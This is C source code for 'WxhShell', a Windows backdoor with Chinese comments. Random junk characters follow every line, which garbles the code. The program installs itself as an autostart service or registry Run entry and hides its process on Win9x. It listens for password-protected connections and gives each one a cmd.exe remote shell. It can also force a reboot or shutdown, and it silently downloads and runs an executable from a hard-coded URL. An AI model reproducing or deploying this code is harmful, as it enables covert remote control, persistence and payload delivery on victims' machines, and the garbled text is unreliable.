    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~SP)Ukp  
    else { 1=#q5dZ]  
    closesocket(wsh); /3;4#:Kkw  
    ExitThread(0); 7.C;NT  
    } *4_jA](  
    break; !vX D  
    } ^ s1Q*He  
  // 关机 a-l; vDs  
  case 'd': { $"0MU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HOw -]JSP2  
    if(Boot(SHUTDOWN)) K/A*<<r ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8d?g]DEN)6  
    else { "5;;)\o ~  
    closesocket(wsh); @.G[s)x  
    ExitThread(0); ~7Ts_:E-  
    } f>aEkh6u9  
    break; jZh';M8"  
    } ;FBUwR}  
  // 获取shell R16'?,  
  case 's': { XpmS{nb  
    CmdShell(wsh); bA= |_Wt  
    closesocket(wsh); (:._"jp]  
    ExitThread(0); 0dhF&*h|L  
    break; ktj]:rCkF  
  } C K:y?  
  // 退出 Yiry["[]Q  
  case 'x': { NLS%Sq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /3e KN  
    CloseIt(wsh); 8CnRi  
    break; an4GSL  
    } *:>"q ej  
  // 离开 mocI&=EF2X  
  case 'q': { D@.tkzU@E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7h6,c/<  
    closesocket(wsh); VUVaaOmO  
    WSACleanup(); P8^hBv*  
    exit(1); {T4  
    break; `VKf3&|<A  
        } {z(xFrY  
  } .uyGYj-C  
  } YGv<VOWG2  
&07]LF$]  
  // 提示信息 ^&bRX4pYo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vr0WS3  
} , #U .j  
  } GytXFL3`:  
0@G")L Ue0  
  return; b7!Qn}  
} r`AuvwHPs[  
RE =`  
// shell模块句柄 2kdC]|H2?  
int CmdShell(SOCKET sock) nA P.^_K  
{ /I)yU>o  
STARTUPINFO si; Q2 zjZC*'%  
ZeroMemory(&si,sizeof(si)); } @K FB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `D`sr[3n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [[>wB[w  
PROCESS_INFORMATION ProcessInfo; I4i2+ *l}  
char cmdline[]="cmd"; *g y{]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $ "E).j  
  return 0; 8wVY0oRnU  
} u}!@ ,/)  
'd+N Vj{C  
// 自身启动模式 MS0Fl|YA  
int StartFromService(void) dFH$l  
{ COTp  
typedef struct 8<.C3m 6h  
{ F;gx%[$GX  
  DWORD ExitStatus; JNkwEZhHyg  
  DWORD PebBaseAddress; K$M^gh0  
  DWORD AffinityMask; qw@puw@D  
  DWORD BasePriority; .pfP7weQ  
  ULONG UniqueProcessId; C0S^h<iSe*  
  ULONG InheritedFromUniqueProcessId; w"OP8KA:^T  
}   PROCESS_BASIC_INFORMATION; L3 G \  
X@k`3X  
PROCNTQSIP NtQueryInformationProcess; d+X}cq=  
Kw8u`$Ad7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mN!lo;m5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @O@GRq&V  
z"+Mrew  
  HANDLE             hProcess; Q3|T':l4  
  PROCESS_BASIC_INFORMATION pbi; GP&vLt51  
t5'V6nv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nluv/?<  
  if(NULL == hInst ) return 0; Pcu#lWC$  
$aN-Y?U%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;]gP@h/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <$F\Nk|x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yY[<0|o u  
JJ{9U(`_y6  
  if (!NtQueryInformationProcess) return 0; (FJ9-K0b{n  
L=q+|j1>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p98~&\QT  
  if(!hProcess) return 0; 4hAl-8~Q6  
O!Oumw,$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :um|nRwy9  
X{we/'>  
  CloseHandle(hProcess); 6B@CurgB  
YO}1(m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wjh=Q  
if(hProcess==NULL) return 0; _)]+hUw Y  
SB5&A_tr  
HMODULE hMod; td4[[ /  
char procName[255]; abJ" [  
unsigned long cbNeeded; AJSx%?h:6  
qTAc[Ko  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~mO62(8m  
ep=qf/vd<  
  CloseHandle(hProcess); ~=KJzOS,S  
Ee@4 %/v  
if(strstr(procName,"services")) return 1; // 以服务启动 >nw++[K_  
n>A98NQ  
  return 0; // 注册表启动 2Fz|fW_  
} VxY+h`4#  
(tCUlX2  
// 主模块 vfl5Mx4  
int StartWxhshell(LPSTR lpCmdLine) #% of;mJv  
{ Ya;9]k8,  
  SOCKET wsl; srYJp^sC  
BOOL val=TRUE; ^bc;[x&N  
  int port=0; c%[#~;E  
  struct sockaddr_in door; [Z~ 2  
ithewup  
  if(wscfg.ws_autoins) Install(); LwhyE:1  
/F4pb]U!*  
port=atoi(lpCmdLine); 81hbk((  
.\8X[%K9nc  
if(port<=0) port=wscfg.ws_port; H(Q.a=&4!p  
7<jZ`qdq_  
  WSADATA data; Pfm_@'8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /Nr*`l  
hgLj<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?{U m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0H0-U'l  
  door.sin_family = AF_INET; Gg~QAsks   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >[ Ye  
  door.sin_port = htons(port); &BtK($  
N.4q.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 549jWG  
closesocket(wsl); ?Q-h n:F)  
return 1; mk3_  
} /;tPNp{!dw  
NM0tp )h  
  if(listen(wsl,2) == INVALID_SOCKET) { ZxlAk+<]  
closesocket(wsl); aB]m*~  
return 1; <)\y#N  
} hFk3[zTy  
  Wxhshell(wsl); G NS`.fS  
  WSACleanup(); {@<J_ A  
&f7fK|}  
return 0; Fe.t/amS/  
"dROb}szn  
} bu=?N  
QT9n,lX  
// 以NT服务方式启动 N?5x9duK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =7m}yDs6$  
{ s TOa  
DWORD   status = 0; Qb! PRCHQ  
  DWORD   specificError = 0xfffffff; N<Q jdD&  
;L|uIg;.s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; } g3+{\x8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 01T`Flz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M;0]u.D*=  
  serviceStatus.dwWin32ExitCode     = 0; fZxIY,  
  serviceStatus.dwServiceSpecificExitCode = 0; U,+[5sbo  
  serviceStatus.dwCheckPoint       = 0; v^ /Q 8Q  
  serviceStatus.dwWaitHint       = 0;  .AYj'Y  
@"Z7nJX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :> &fV  
  if (hServiceStatusHandle==0) return; <\0vR20/  
6Z`R#d #I  
status = GetLastError(); Cn>ADWpT&  
  if (status!=NO_ERROR) k ^ YO%_  
{ aA'|Rg,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oky**B[D'  
    serviceStatus.dwCheckPoint       = 0; FSRm|  
    serviceStatus.dwWaitHint       = 0; u7xDau(c  
    serviceStatus.dwWin32ExitCode     = status; A].>.AI  
    serviceStatus.dwServiceSpecificExitCode = specificError; \`ZW* EtPI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wHIj<"2  
    return; %?aS#4jI  
  } pGSai &  
Yk42(!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?x^z]N|P  
  serviceStatus.dwCheckPoint       = 0; ]`bQW?  
  serviceStatus.dwWaitHint       = 0; MWNPPYww  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 11|Rdd+}  
} h(qQsxIOhS  
pDQ}*   
// 处理NT服务事件,比如:启动、停止 l c_E!"1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EwS!]h?  
{ lpRR&  
switch(fdwControl) f30Pi1/h=c  
{ 6YuY|JD  
case SERVICE_CONTROL_STOP: l<Q>N|1#k%  
  serviceStatus.dwWin32ExitCode = 0; T~fmk f$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %+ FG,d  
  serviceStatus.dwCheckPoint   = 0; [>^PRs  
  serviceStatus.dwWaitHint     = 0; Q#(GI2F2#  
  { 0 a~HiIh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tTN?r 8  
  } Dfd-^N!  
  return; SlSM+F  
case SERVICE_CONTROL_PAUSE: k|BHnj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vA)O {W\o  
  break; k8,?hX:  
case SERVICE_CONTROL_CONTINUE: w_ {,<[#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Ph\Sbp  
  break; 0aoHKeP  
case SERVICE_CONTROL_INTERROGATE: v`V7OD#:j]  
  break; l;sy0S"DO]  
}; Bm\qxQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _5MNMV LwW  
} \v6 M:KR5/  
l%Gw_0.?e  
// 标准应用程序主函数 AF43$6KZP$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <!pQ  
{ cst}Ibf i  
9s}Kl($  
// 获取操作系统版本 uY< H#k  
OsIsNt=GetOsVer(); |3+m%;X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 83cW=?UgA  
.D4bqL  
  // 从命令行安装 >xA),^ YT  
  if(strpbrk(lpCmdLine,"iI")) Install(); W$qd/'%  
DFO7uw1  
  // 下载执行文件 ]APvp.Tw:  
if(wscfg.ws_downexe) { dr{y0`CCN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cL8#S>>u.  
  WinExec(wscfg.ws_filenam,SW_HIDE); .Hc(y7HV  
} okq[ o90  
\V2,pi8'v  
if(!OsIsNt) { g\GdkiIj  
// 如果时win9x,隐藏进程并且设置为注册表启动 H0a/(4/xg  
HideProc(); CzV(cSS9-  
StartWxhshell(lpCmdLine); XJ!(F#zc  
} o{*ay$vA]  
else 0)9"M.AIvo  
  if(StartFromService()) 55t\Bms{  
  // 以服务方式启动 l7JY]?p  
  StartServiceCtrlDispatcher(DispatchTable); 5 cK@WE:  
else Px5t,5xT8  
  // 普通方式启动 'SLE;_TD  
  StartWxhshell(lpCmdLine); o5\b'hR*#  
Aa?I8sbc  
return 0; u@p?  
} )'Wb&A'  
M}DH5H"s  
@c'|Iqy`  
.bf<<+'o  
=========================================== <DH*~tLp2  
i`)!X:j  
tvX>{-M  
Fv?=Z-wk  
j%<}jw[2  
6AN)vs}  
" yB LUNIr  
%o?IsIys  
#include <stdio.h> Pw@olG'Ah  
#include <string.h> 5&CDHc7Oj  
#include <windows.h> rZ_>`}O2  
#include <winsock2.h>  Voh hQ  
#include <winsvc.h> 5)zn:$cz  
#include <urlmon.h> $R8w+ Id  
r^HA aGpC  
#pragma comment (lib, "Ws2_32.lib") kE;O7sN   
#pragma comment (lib, "urlmon.lib") ,`td@Y  
>+cVs:  
#define MAX_USER   100 // 最大客户端连接数 L6 6-LMkH  
#define BUF_SOCK   200 // sock buffer :^C'<SY2Gs  
#define KEY_BUFF   255 // 输入 buffer DE{h5-g  
km:nE: |  
#define REBOOT     0   // 重启 AB.(CS=i  
#define SHUTDOWN   1   // 关机 W VkR56  
&h$|j  
#define DEF_PORT   5000 // 监听端口 v4*rPGv  
Cd#E"dY6  
#define REG_LEN     16   // 注册表键长度 t~K%.|'0  
#define SVC_LEN     80   // NT服务名长度 icUT<@0  
V7=SV:+1or  
// 从dll定义API =G-N` 39  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9w;?-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FQeYx-7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,*,sw:=2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d<o.o?Vc  
`T!#@&+  
// wxhshell配置信息 b_$ 1f >  
struct WSCFG { FT\?:wpKa  
  int ws_port;         // 监听端口 9$d.P6|d>  
  char ws_passstr[REG_LEN]; // 口令  v%{0 Tyk  
  int ws_autoins;       // 安装标记, 1=yes 0=no <"&'>?8j  
  char ws_regname[REG_LEN]; // 注册表键名 oJ;rc{n-  
  char ws_svcname[REG_LEN]; // 服务名 Lue|Plm[y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fu\s`W6f&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OOy}]uYF`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -rY 7)=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HD# r0)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R"6;NPeo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lxb8xY  
-$4kBYC l+  
}; ~a+NJ6e1  
z?.(3oLT  
// default Wxhshell configuration "G?9b  
struct WSCFG wscfg={DEF_PORT, oNRG25  
    "xuhuanlingzhe", Ky9W/dCR  
    1, {sc[RRN~C  
    "Wxhshell", f~\Xg7<  
    "Wxhshell", r+g jc?Ol  
            "WxhShell Service", l)@:T|)c  
    "Wrsky Windows CmdShell Service", g6' !v  
    "Please Input Your Password: ", d /j@_3'  
  1, ~$aTM_4  
  "http://www.wrsky.com/wxhshell.exe", <f%/px%1  
  "Wxhshell.exe" M<oA<#IW  
    }; |`]oc,1h@  
9O;vUy)  
// 消息定义模块 @ ^. *$E5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %x2b0L\g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k,_i#9 X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :WX0,-Gn  
char *msg_ws_ext="\n\rExit."; ;QPy:x3  
char *msg_ws_end="\n\rQuit."; ,f<B}O  
char *msg_ws_boot="\n\rReboot..."; p{C9`wi)  
char *msg_ws_poff="\n\rShutdown..."; j.& ;c'V$.  
char *msg_ws_down="\n\rSave to "; ~gt3Omh  
BJIQ zn3  
char *msg_ws_err="\n\rErr!"; NV~vuC  
char *msg_ws_ok="\n\rOK!"; oyQ0V94j  
#: hVF/  
char ExeFile[MAX_PATH]; Yw^ Gti'<  
int nUser = 0; #WEq-0L   
HANDLE handles[MAX_USER]; FfXZ|o$;  
int OsIsNt; x u,htx  
JN^bo(kb  
SERVICE_STATUS       serviceStatus; eBvW#Hzp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +S0u=u65  
3U o]> BG  
// 函数声明 )Pa*+ew7  
int Install(void); Q?]w{f(  
int Uninstall(void); 1 PIzV:L\  
int DownloadFile(char *sURL, SOCKET wsh); |8'B/ p=  
int Boot(int flag); 2fP~;\AP  
void HideProc(void); <?4cWp|i  
int GetOsVer(void); [a+4gy  
int Wxhshell(SOCKET wsl); SJ[AiHR  
void TalkWithClient(void *cs); g-eq&#  
int CmdShell(SOCKET sock); oek #^:pF  
int StartFromService(void); oVEAlBm^v  
int StartWxhshell(LPSTR lpCmdLine); X#7}c5^Y  
U%,;N\:_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L6kZ2-6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `$f2eB&   
^\{J5  
// 数据结构和表定义 &/DOO ^  
SERVICE_TABLE_ENTRY DispatchTable[] = T NIst  
{ FdM<;}6T  
{wscfg.ws_svcname, NTServiceMain}, AtT"RG-6  
{NULL, NULL} F`3^wHw^  
}; lT3|D?sF  
3FuCW  
// 自我安装 0QMaM  
int Install(void) e@yx}:]h  
{ H8sK}1.  
  char svExeFile[MAX_PATH]; &p )@8HY  
  HKEY key; W0U`Kt&~a  
  strcpy(svExeFile,ExeFile); {sl~2#,}b1  
L1rA T  
// 如果是win9x系统,修改注册表设为自启动 (< :mM  
if(!OsIsNt) { A ^-Z)0 :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sl%#u9r=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7^&lbzVbm(  
  RegCloseKey(key); ` %l&zwj>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i<J^:7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $\0TD7p  
  RegCloseKey(key); \4/:^T}*  
  return 0; 5d%_Wb'  
    } m'3OGvd  
  } CH55K[{<  
} j6RJC  
else { *&h6*zP?  
prqyoCfq  
// 如果是NT以上系统,安装为系统服务 loR,XW7z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f_~}X#._  
if (schSCManager!=0) {qY3L8b  
{ =A$Lgk>|  
  SC_HANDLE schService = CreateService K?$ 9N}+  
  ( eSJAPU(D  
  schSCManager, ix(U:'{  
  wscfg.ws_svcname, D7EXqo  
  wscfg.ws_svcdisp, q|R+x7x  
  SERVICE_ALL_ACCESS, FK-}i|di  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -hQ96S8  
  SERVICE_AUTO_START, ;_>s0rUV  
  SERVICE_ERROR_NORMAL, 7E;>E9 '  
  svExeFile, >F,$;y52  
  NULL, -6AOK<kfI  
  NULL, ^xzE^"G6  
  NULL, mipi]*ZfXE  
  NULL, "ugX /r$_  
  NULL xWd9%,mDNR  
  ); ;Gjv9:hUn  
  if (schService!=0) ] dW%g?  
  { 9vB9k@9  
  CloseServiceHandle(schService); eUX@9eML  
  CloseServiceHandle(schSCManager); OJnPP>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =~,$V<+c  
  strcat(svExeFile,wscfg.ws_svcname); Z}]:x `fXd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tpN]evp|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jXc5fXO N  
  RegCloseKey(key); {KF7j63  
  return 0; ~,(0h:8  
    } ##SLwrg  
  } bx+(.F  
  CloseServiceHandle(schSCManager); {Bav$kw;?e  
} jrDz7AfA  
} c@0l-R{q  
z'5;f;  
return 1; Ws2prh^e(  
} + TPbIRA  
7H8GkuO  
// 自我卸载 Y!K^-Y}  
int Uninstall(void) O+CF/ipX/  
{ KUl Zk^a  
  HKEY key; cP}5}+  
(.jO:#eE%  
if(!OsIsNt) { F9>(W#aC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?M*C*/R  
  RegDeleteValue(key,wscfg.ws_regname); `<]P"G  
  RegCloseKey(key); <MI$N l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *@b~f&Lx6  
  RegDeleteValue(key,wscfg.ws_regname); hr/xpQW  
  RegCloseKey(key); mvW^P`nB  
  return 0; i]h R7g<  
  } A;/Xt  
} *YiD B?Si  
} S[\cT:{OE  
else { (+]Ig> t  
Gc3PN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); juve9HaW  
if (schSCManager!=0) y$;zTH_6j  
{ DcFV^8O&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uMq\];7I  
  if (schService!=0) {kY`X[fvZ  
  { _3FMQY(  
  if(DeleteService(schService)!=0) { Q xj|lr  
  CloseServiceHandle(schService); MOH,'@&6^  
  CloseServiceHandle(schSCManager); 5BGv^Qb_2  
  return 0; /ab K/8ZQ  
  } &`\kb2uep  
  CloseServiceHandle(schService); v~W6yjp  
  } fR{WS:Pv  
  CloseServiceHandle(schSCManager); [3bwbfHhi  
} = -a?oH-  
}  hE?GO,  
 (t]R#2{  
return 1; _#\5]D~""  
} u.xA}yVS  
S+E3;' H  
// 从指定url下载文件 [;kj,j  
int DownloadFile(char *sURL, SOCKET wsh) vr]dRStr  
{ ?),K=E+=U  
  HRESULT hr; cR@}   
char seps[]= "/"; s*A|9u f5  
char *token; WY ^K7U  
char *file; H"Em|LX^  
char myURL[MAX_PATH]; %@,:RA\pm  
char myFILE[MAX_PATH]; KTS7)2ci  
C8%nBa /  
strcpy(myURL,sURL); epm8N /  
  token=strtok(myURL,seps); v(WL 3[y;  
  while(token!=NULL) 'XjHB!!hU  
  { 39^uLob  
    file=token; e[Ul"pMvS`  
  token=strtok(NULL,seps); 8B(Q7Qj  
  } TTjjyZ@  
@zpHem dB  
GetCurrentDirectory(MAX_PATH,myFILE); (4/`@;[  
strcat(myFILE, "\\"); P|QnZ){  
strcat(myFILE, file); jq]\oY8y  
  send(wsh,myFILE,strlen(myFILE),0); 'J<zVD}0  
send(wsh,"...",3,0); p RfHbPV?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =I*ZOE3n  
  if(hr==S_OK) enO=-#  
return 0; t3kh]2t  
else |x~ei_x7.p  
return 1; _O'rZ5}&  
CpJXLc3_d5  
} ny;)+v?mN\  
;jfXU_K  
// 系统电源模块 oI"Fpo  
int Boot(int flag) SX<>6vH&  
{ 0DjBqh$  
  HANDLE hToken; *xX0]{49q  
  TOKEN_PRIVILEGES tkp; X([n>w  
a}8>(jtSt  
  if(OsIsNt) { n@8{FoF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qv >(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !!Gi.VL  
    tkp.PrivilegeCount = 1; v nT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  AHg4kG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?@7|Q/  
if(flag==REBOOT) { ErUk>V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .*..pf|/  
  return 0; ?J1&,'&  
} Le+8s LE`Y  
else { +]2~@=<@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MkIO0&0O  
  return 0; C3 c|@7FU  
} h3 ZL0Fi*  
  } G?X,Y\Lp  
  else { [}Yci:P_ +  
if(flag==REBOOT) { j;c ^pLUP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q14;G<l-  
  return 0; |r!Qhb.!  
} ;C@^wI  
else { .ceU @^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ptxc9~k  
  return 0; P<oD*C  
} &Fr68HNmj  
} fXR_)d  
)=y6s^}  
return 1; |Szr=[  
} ~ .=HN}E  
rY+1s^F  
// win9x进程隐藏模块 |0Ug~jKU  
void HideProc(void) 7o%|R2mL}  
{ _z6u^#Si  
<Gt{(is  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E<[ bgL  
  if ( hKernel != NULL ) Hm[!R:HW,S  
  { 3^Q U4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B$eF@v"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Al;oI3  
    FreeLibrary(hKernel); G~j<I/)"  
  } omU)hFvyS  
6>^k9cJp  
return; m.X+sP-e  
} jtJ8r5j 1  
4E94W,1%,Y  
// 获取操作系统版本 LPgI"6cP  
int GetOsVer(void) .EELR]`y7I  
{ M/I d\~  
  OSVERSIONINFO winfo; |I<-x)joIK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0p2O8>w^%  
  GetVersionEx(&winfo); O c3%pb;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FK('E3PG  
  return 1; tA n6pGp  
  else AMiFsgBj  
  return 0; QxL FN(d  
} ph+tk5k  
Z-V%lRQ=b  
// 客户端句柄模块 LR.+C xQ  
int Wxhshell(SOCKET wsl) u 9Tl Xn  
{ #.xTAvD  
  SOCKET wsh; Q";eyYdOL  
  struct sockaddr_in client; b,sc  
  DWORD myID; )xs,  
j ZafwBi  
  while(nUser<MAX_USER) 7l EwQ  
{ YA8~O5  
  int nSize=sizeof(client); YCdxU1V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z*B(L@H  
  if(wsh==INVALID_SOCKET) return 1; (KU@hp-\  
Um|Tf]q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |a\TUzq  
if(handles[nUser]==0) WHT%m|yn  
  closesocket(wsh); \C.@ @4{  
else n[-!Jp[  
  nUser++; &g {_.n,  
  } W.<<azi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _QCI< |A  
K Hc+  
  return 0; e4LNnJU\|  
} QQcj"s  
2geC3v% 0o  
// 关闭 socket DgP%Q  
void CloseIt(SOCKET wsh) vGDo?X~#o  
{ 9^olAfX`dB  
closesocket(wsh); xb;m m9H  
nUser--; f ebh1rUX  
ExitThread(0); fe/6JV  
} e8v=n@0  
p$ <qT^]&  
// 客户端请求句柄 a06q-3zw  
void TalkWithClient(void *cs) %tLq&tyeY  
{ ?^Ux+mVE  
jXR+>=_  
  SOCKET wsh=(SOCKET)cs; <rF  
  char pwd[SVC_LEN]; 7mBL#T2   
  char cmd[KEY_BUFF]; >4b39/BM  
char chr[1]; z5/O8}Gz@  
int i,j; </p.OaNe  
Uc2#so$9  
  while (nUser < MAX_USER) { Z;s-t\C  
g&wQ^  
if(wscfg.ws_passstr) { v,B\+q/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Y=yR2O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mAa]E t.  
  //ZeroMemory(pwd,KEY_BUFF); kMXl {  
      i=0; s9>!^MzBK  
  while(i<SVC_LEN) { S#dS5OX  
}IL@j A  
  // 设置超时 Awh)@iTL  
  fd_set FdRead; m ws.)  
  struct timeval TimeOut; A@r,A?(  
  FD_ZERO(&FdRead); $Plk4 o*g  
  FD_SET(wsh,&FdRead); w (1a{m?ht  
  TimeOut.tv_sec=8; iI7~9SCE  
  TimeOut.tv_usec=0; i2E7$[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e+TNG &_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \9^@,kfP  
Qt 2hb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^p/mJ1/s7  
  pwd=chr[0]; cO9Aw!  
  if(chr[0]==0xd || chr[0]==0xa) { 2hP8ZfvIR  
  pwd=0; .VT,,0  
  break; tHeLq*))  
  } >wwEa4   
  i++; 5JXLfYTUI  
    } (WvA9s{/  
aT#|mk=\  
  // 如果是非法用户,关闭 socket 0 M?}S~p]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ><~hOK?v  
} .M lE1n'  
Z)%p,DiNM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e`^j_V nEH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |~Iw   
AP%h!b5v  
while(1) { ";]m]PRAam  
QTH yH   
  ZeroMemory(cmd,KEY_BUFF); ?%(*bRV -  
Pl4d(2 7  
      // 自动支持客户端 telnet标准   ;nE}%lT  
  j=0; ; ]!  
  while(j<KEY_BUFF) { _NFJm(X.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pif1sL6'  
  cmd[j]=chr[0]; +8M{y D9#  
  if(chr[0]==0xa || chr[0]==0xd) { ~4 ab\hq  
  cmd[j]=0; :|Cf$2k7  
  break; &0ra a  
  } FmPF7  
  j++; H'2 =yhtVh  
    } ^E^:=Q?'_  
$ }53f'QjW  
  // 下载文件 al/~  
  if(strstr(cmd,"http://")) { 566EMy|  
